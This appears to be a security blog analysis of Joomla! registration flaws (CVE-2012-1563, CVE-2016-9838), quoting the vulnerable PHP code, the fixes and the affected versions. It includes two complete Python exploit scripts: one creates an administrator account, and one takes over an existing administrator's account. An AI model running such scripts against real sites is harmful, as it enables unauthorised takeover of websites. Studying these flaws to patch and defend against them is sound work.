Joomla! has been the target of several critical vulnerabilities during last year:
As a new year comes, it is a good time to review two high impact vulnerabilities that were discovered four years apart, but that are in fact rooted in the same piece of code.
To understand how to exploit the bugs, we must first dive into Joomla!'s User module, responsible for every user-related operation, such as login in, or registering. We will focus on the latter, at it is where the magic happens.
The behaviour for user registration is:
# components/com_users/controllers/registration.php public function register() [0] { // Check for request forgeries. JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN')); [...] // Initialise variables. $app = JFactory::getApplication(); $model = $this->getModel('Registration', 'UsersModel'); // Get the user data. $requestData = JRequest::getVar('jform', array(), 'post', 'array'); [1] // Validate the posted data. $form = $model->getForm(); [...] $data = $model->validate($form, $requestData); [2] // Check for validation errors. if ($data === false) { [3] [...] // Save the data in the session. $app->setUserState('com_users.registration.data', $requestData); // Redirect back to the registration screen. $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false)); return false; } // Attempt to save the data. $return = $model->register($data); [4] // Check for errors. if ($return === false) { [...] return false; } [...] return true; }
The code's logic is perfectly valid. Nevertheless, the mistake happens in the Model's own register() method, which works like this:
# components/com_users/models/registration.php public function register($temp) [1] { $config = JFactory::getConfig(); $db = $this->getDbo(); $params = JComponentHelper::getParams('com_users'); // Initialise the table with JUser. $user = new JUser; $data = (array)$this->getData(); [2] // Merge in the registration data. foreach ($temp as $k => $v) { [3] $data[$k] = $v; } [...] // Bind the data. if (!$user->bind($data)) { [4] $this->setError(JText::sprintf('COM_USERS_REGISTRATION_BIND_FAILED', $user->getError())); return false; } [...] // Store the data. if (!$user->save()) { [5] $this->setError(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $user->getError())); return false; } }
The problem arises from the fact that potentially invalid or malicious data is merged with valid data before being inserted in DB.
From these, we can design a generic exploitation:
Those two bugs are not the only ones that come from a programming mistake located in the user registration code, CVE-2016-8869 is another example. Here's the culprit:
# components/com_users/controllers/user.php public function register() { [...] $data = $this->input->post->get('user', array(), 'array'); $return = $model->validate($form, $data); // Check for errors. if ($return === false) { [...] return false; } // Finish the registration. $return = $model->register($data); return $return; }
Here, instead of using the filtered array $return to perform the registration, Joomla! reuses the user-supplied unfiltered array, $data. Sucuri described the bug in more details here.
The exploitation on Joomla 2.5.2 and below takes advantage of the fact that user groups are not checked upon registration: one can add a jform[groups] value to the form, and get elevated privileges.
#!/usr/bin/python3 # CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation # cf import bs4 import requests import random url = 'http://vmweb.lan/joomla-cms-2.5.2/' form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form' action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register' username = 'user%d' % random.randrange(1000, 10000) email = username + '@yopmail.com' password = 'ActualRandomChimpanzee123' user_data = { 'name': username, 'username': username, 'password1': password, 'password2': password + 'XXXinvalid', 'email1': email, 'email2': email, 'groups][': '7' } session = requests.Session() # Grab original data from the form, including the CSRF token response = session.get(form_url) soup = bs4.BeautifulSoup(response.text, 'lxml') form = soup.find('form', id='member-registration') data = {e['name']: e['value'] for e in form.find_all('input')} # Build our modified data array user_data = {'%s]' % k: v for k, v in user_data.items()} data.update(user_data) # First request will get denied because the two passwords are mismatched response = session.post(action_url, data=data) # The second will work data['jform[password2]'] = data['jform[password1]'] del data['jform[groups][]'] response = session.post(action_url, data=data) print("Account created for user: %s [%s]" % (username, email))
The latest exploitation is a bit more complex. By setting an additional field, jform[id], the attacker tricks Joomla into modifying an already registered user: it is possible to modify his password and email, along with other things. By picking the ID of an administrator, this allows complete access to the administration panel.
#!/usr/bin/python3 # CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver # cf import bs4 import requests import random ADMIN_ID = 384 url = 'http://vmweb.lan/Joomla-3.6.4/' form_url = url + 'index.php/component/users/?view=registration' action_url = url + 'index.php/component/users/?task=registration.register' username = 'user%d' % random.randrange(1000, 10000) email = username + '@yopmail.com' password = 'ActualRandomChimpanzee123' user_data = { 'name': username, 'username': username, 'password1': password, 'password2': password + 'XXXinvalid', 'email1': email, 'email2': email, 'id': '%d' % ADMIN_ID } session = requests.Session() # Grab original data from the form, including the CSRF token response = session.get(form_url) soup = bs4.BeautifulSoup(response.text, 'lxml') form = soup.find('form', id='member-registration') data = {e['name']: e['value'] for e in form.find_all('input')} # Build our modified data array user_data = {'jform[%s]' % k: v for k, v in user_data.items()} data.update(user_data) # First request will get denied because the two passwords are mismatched response = session.post(action_url, data=data) # The second will work data['jform[password2]'] = data['jform[password1]'] del data['jform[id]'] response = session.post(action_url, data=data) print("Account modified to user: %s [%s]" % (username, email))
For an attacker, the only problem resides in finding the correct ID. Upon installation, Joomla! uses a random value between 1 and 1000 to seed the first user ID. This can be circumvented by either leaking user IDs somehow, using a plugin for instance, of simply iterating on the value and waiting for administrator access to happen.
Although the exploit works on old versions as well, it is somehow mitigated because normal users cannot edit super-users. Nevertheless, by combining the exploit with any type of privilege escalation, complete server takeover is relatively easy. For those interested, the involved piece of code is present in libraries/joomla/user/user.php, in the save() method.
Note: Unless configured otherwise, Joomla! sends a confirmation email after the account has been created/modified, so the registration email needs to be valid.
Both bugs were fixed by hardening the getData() method.
The bug affects Joomla! versions 2.5.2, 2.5.1 and 2.5.0.
It was fixed by resetting the groups array() in UsersModelRegistration's getData() method.
The second bugs affects versions 1.6.0 through 3.6.4.
This time, it was fixed properly, by only merging the fields if they exist in the form.
Even if, in hindsight, the second vulnerability was right under people's eyes, it took four years for it to get fixed; the first bug was fixed in a haste, without thinking about the root cause of the problem. Overall, a lesson is to be learned: in order to properly fix a bug, one needs to understand not only what it is, but also why it happened.